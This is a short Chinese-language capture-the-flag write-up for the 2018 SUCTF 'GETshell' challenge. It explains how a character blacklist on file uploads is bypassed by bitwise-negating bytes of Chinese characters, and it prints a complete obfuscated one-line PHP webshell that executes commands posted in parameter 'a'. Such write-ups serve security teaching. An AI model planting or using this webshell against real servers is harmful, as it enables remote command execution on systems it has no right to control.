2018SUCTF GETshell--字符取反绕过正则
访问题目
1 | if($contents=file_get_contents($_FILES["file"]["tmp_name"])){ |
从第六位开始有black_char过滤
随便传一个文件用burp测试被过滤字符
长度为681的都可以通过黑名单
考虑使用”异或”和”取反”绕过正则过滤
这里参考文章https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
发现<?=$_=('
被过滤了
这串字符是异或必须要有的字符,所以考虑另一种方法:取反
利用UTF-8编码的某个汉字,将其中某个字符取出来,比如‘和’{2} 的结果为 ‘\x8c’ ,取反为字母s。
本地php7运行截图
这里还过滤了空格和换行符,所以要把shell写在一行,而php语法代码只有一行的情况下<?php后边要加空格,所以这里用短标签避免
最终测试得到shell
1 | <?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]); |
此shell命令执行方式:
post提交a=(此处为要执行的命令)
执行env即可得到flag